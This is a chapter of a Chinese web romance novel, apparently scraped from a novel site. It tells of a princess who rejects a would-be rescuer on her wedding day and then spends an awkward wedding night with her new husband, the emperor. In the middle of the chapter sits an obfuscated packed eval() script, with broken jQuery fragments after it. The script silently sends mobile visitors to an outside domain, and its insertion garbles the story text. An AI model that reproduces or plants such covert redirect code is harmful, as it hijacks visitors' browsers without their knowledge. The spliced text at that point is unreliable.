默认冷灰
24号文字
方正启体

14. 成婚

作者:倾天挽月本书字数:K更新时间:
    沈宿雨收回视线,看向前方。


    她思绪无限翻飞,好像透过这捧雪,看见了更多的什么,隐藏于它之后的。


    宁祈此刻立于她身侧,顺着她的视线看过去,他看见的是潮湿的泥土,仿佛在低低地述说着曾经覆盖的洁白与寒冷。


    他抽出她手中的花枝,将它别于她的发髻里。


    沈宿雨收回思绪伸手抚上这梅花枝。


    宁祈看向她,此间雪色春色绝色,尽收于眼底。


    鬼使神差地,沈宿雨开口问他,“好看吗?”


    “好看啊。”


    意识到自己做了什么,宁祈后知后觉的有点脸热。


    此刻寒意未散,他的指尖微微泛凉,回味着刚才无意间触碰到她发丝的温度。


    四下静谧,只剩下风吹过的疏疏声与雪化的细响。


    沈宿雨笑着开口:“你怎么来了,总归不是专门来见我的吧?”


    宁祈这才想起正事,“怎么会?我是来找沈言的。”


    只是顺道折了支梅花来见她,莫名其妙地,在看见这支梅花时他便想起了沈宿雨。


    等回过神来时他已将梅花折下,来到她的身边。


    沈宿雨低低笑了起来,“那你还不快去。”


    宁祈依言潇洒离开,像一阵吹过梅花枝头的风。


    沈宿雨目送他远去的背影,她想,下次再见面可能便是成婚之后了。


    的确如宁祈所言,她身处在皇宫之中,没有见过那么多的人情冷暖,世态炎凉。


    就算有幸见过,大多时候她也是冷眼观世,自命清高。


    风微微吹过,她也整理好自己的思绪,抬步离去。


    *


    成亲那天,十里红妆,锣鼓喧天。


    她坐在马车里,满身珠翠,凤冠霞帔。


    外面的热闹喜庆浮动在空气中的每一个角落,从晨起梳妆打扮到现在坐上骄子,她如在梦中,比起热烈喜悦她心中更多的是平静如水。


    可能她不觉得这天比平常的每一天有任何不同,只当是一个舟车劳顿的晴天。


    马车缓缓地行驶着,从南初国到宛国还有好长一段路要走。


    她坐在马车里从开始的平静到疲惫,等待着时间的逝去。


    突然,马车外传来打斗声,熟悉的记忆在脑海里涌现,沈宿雨只觉天旋地转。


    在慌乱中,她扯下头上盖的红盖头,只见一人掀开车帘,逆光而来。


    在看清来人时,沈宿雨心跳骤停,那是一个无论如何也不应该出现在这里的人。


    来人向她伸出手,他说:“沈宿雨,跟我走吧。”


    这声音像是有魔力,她情不自禁地伸出手,怔愣地低语,“李观砚……”


    她看见自己的手搭在李观砚的手上,周遭的喧闹打杀她都听不见了。


    随即她便被李观砚拉起,走出马车外。


    她无法描述此刻的心情,只听从着身体的本能去动作。


    此时还是初春,冬天的冷意并没有完全褪去,李观砚的手却相当温暖。


    她闻到从他身上袭来的梅花香,像一团朦胧甜蜜的美梦,紧紧将人包裹住,让人无法挣脱,也不想挣脱。


    随后他便被她抱起,她听见他问她,“你是自愿的吗?”


    这话问的莫名其妙,她点了点头,又摇了摇头。


    李观砚浅笑了一下,“没关系了。”


    沈宿雨后知后觉反应过来她做了什么,“你怎么来了?”


    “我来抢亲啊。”他语气轻快,话说的理所当然。


    “胡闹,你知道和亲代表着什么吗?”沈宿雨有点恼了,竟然任由自己跟着他一起胡来。


    “我当然知道。”李观砚坚定地答道。


    “你放我下来,你这样相当于同时得罪了南初国与宛国。”沈宿雨挣扎道。


    李观砚抱紧了她,防止她掉下去,笑了一下,“我做之前便都想清楚了。”


    “沈宿雨我不想看你嫁给别人。”他说话声音低低的,闷闷的,竟染上了一丝丝哀求。


    听他这样说,沈宿雨的心一下子揪作一团,“可是你也不能……”


    李观砚无奈道:“让我抱一会儿吧,就一会儿。”


    沈宿雨止住挣扎的动作,安静下来。


    李观砚突然说:“你知道吗,谢迟不在了。”


    沈宿雨神色也凝重起来,“我知道。”


    她还知道谢迟是因何而死,只是不知道该不该告诉李观砚,他会不会相信她,又能不能承受得了。


    “这些天我想了很多,生命太短暂太仓促了,我不想有那么多的遗憾。”


    “你给我一次机会好不好?”


    沈宿雨安静地听他说完,垂下头去,看见了自己身上穿的嫁衣,不由愣住。


    她想起了她的身份,她不仅仅只是沈宿雨,她还是南初国的公主。


    “你知道你今天带我走,会带来怎样的结果吗?”沈宿雨闭上眼睛,想到了盛国皇帝对谢家的忌惮,如今正是关键时候,李观砚他不能做太过出格的事。


    “我比谁都明白这一点。”李观砚语气轻松随意,好想并不把它放在心上。


    “你放我走吧,别闹了。”沈宿雨再度重复。


    “能不走吗?”


    “不能。”


    好想时间又回到了在屋檐上的那个风雪夜。


    他们两人都情不自禁地泪流满面。


    “从今往后,我们桥归桥,路归路。”沈宿雨说完便推开他,连她自己都愣住了,她就这么轻易地推开了李观砚。


    他仿佛浑身都被抽走了力气,变得软弱不堪,一击即碎。


    “我今天只是遇见了山贼。”


    沈宿雨踮起脚尖,在他嘴角印下一吻。


    蜻蜓点水,像是一个无声的安慰。


    她转身离去,她还要查清沈青颂的死因,于公于私,她都要履行这纸婚约。


    在转身的刹那,泪水便决堤而下,彻骨地寒气涌入心扉,她一句话都说不出来。


    风吹过山林引起一片沙沙声。她回到那个马车里,捡起红盖头重新盖上,像是在做什么再神圣不过的事情。


    最后的视线是李观砚带着人离去。


    马车再度行驶,这场婚礼继续进行。


    她坐在马车里,心境早已不同,无限的悲伤排山倒海般涌来,她再清楚不过,她刚才放弃了什么。


    可她不能为了一己私欲这样做。


    她就坐在马车里等待,等待着这场旅程的终点。


    按照命运的安排,等待着一切的到来。


    最后抵达宛国见到宁祈时,她也说不出她是什么心情。


    宁祈封她为贵妃,省去不少繁文礼节。


    她被人送到房间,坐在床上等着宁祈的到来,起初她还有点拘谨担心。


    当宁祈到来时,她攥紧了手中的帕子,心提到嗓子眼。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15917206|177006||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    她听见他吩咐旁边的伺候的人下去,然后便走到她跟前。


    宁祈笑了一声,“沈宿雨,你是在紧张吗?”


    沈宿雨刚想嘴硬反驳几句,他便掀起了喜帕,两人一阵大眼瞪小眼不由都笑出声来。


    紧张的氛围一下子消失殆尽,宁祈坐在她旁边,看着满床的红枣,花生,桂圆,莲子,不由一阵沉默。


    真是“早生贵子”


    沈宿雨顺着他的目光看过去,也脸上一热。


    宁祈为了缓解尴尬开口道:“我听说李观砚来抢亲了?”


    沈宿雨闻言白他一眼,“你消息这么灵通吗?”


    宁祈脸色一阵复杂,“拜托,毕竟是我成婚,又不是别人。”吃瓜吃到自己身上,真是……


    今天宴席众人看向他的眼神都……怪怪的。


    同情怜悯又落井下石。


    宁祈:“所以……”


    沈宿雨坦诚道:“就是你们想的那样啊。”


    宁祈:“……”


    他随手抓了把床上的红枣吃了起来。


    沈宿雨:“你还在乎这个吗?我们不是合作关系吗?”


    不谈情说爱,只讲利益。


    宁祈:“我当然不在乎这个,我在乎的是我自己的颜面……”


    沈宿雨:“哦。”


    宁祈:“你饿不饿?”


    沈宿雨颇为无语地看他一眼,“你说呢?”


    宁祈:“……饿?”


    沈宿雨:“不然呢?是谁舟车劳顿,是谁在这里等你这么久!”


    宁祈只好招来在外面侯着的人去传御膳房做碗吃食送过来。


    半个时辰后,沈宿雨吃饱喝足又与正在看兵书的宁祈来了个大眼瞪小眼。


    沈宿雨:“你睡地上我睡床。”


    宁祈:“……”


    于是正当他勤勤恳恳地打起地铺时,外面突然传来通报。


    宁祈把枕头往地上重重一摔,“谁啊,这么没眼力见,在朕的新婚之夜打扰朕。”


    那来通报的小奴才颤颤巍巍地开口道:“靖王府的人那边派人传来消息,说是有要事相商,刻不容缓。”


    宁祈眉头一皱,自从他篡位哦不,登基之后他就一直将宁迟囚禁在之前的靖王府里。


    宁迟能有什么事找他……难道是因为国家大事……


    反正留下来也没什么要紧事,无非是躺在地上睡觉,但他今晚要是就这么走了,外人如何看沈宿雨……


    他正在思忖着,外面的守着的奴才又开始催了,他正准备发作,沈宿雨就抢先一步开口了,“这么晚前来,宁迟肯定是有要紧事找你,你快去吧,不用管我。”


    宁祈看了她一眼,便下定决心道:“那我先走了。”


    沈宿雨点点头,在宁祈走后便躺在床上,准备入睡。


    可她怎么也睡不着,人生地不熟。


    她又想起了李观砚,他为什么会来抢亲呢?


    答案再明显不过了,几乎是呼之欲出。


    想到这里她竟莫名有点心烦意乱,李观砚喜欢她这个想法浮现在她心中,并且越来越发鲜明。


    那她呢,她想必也是喜欢李观砚的。


    可是两情相悦又有什么用呢?


    她如今已经嫁给了宁祈,他以后也会娶他的太子妃,他们之间只会渐行渐远。


    是她亲手放过了这个良机,如今也不该在这里黯然伤神,悔恨不已。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)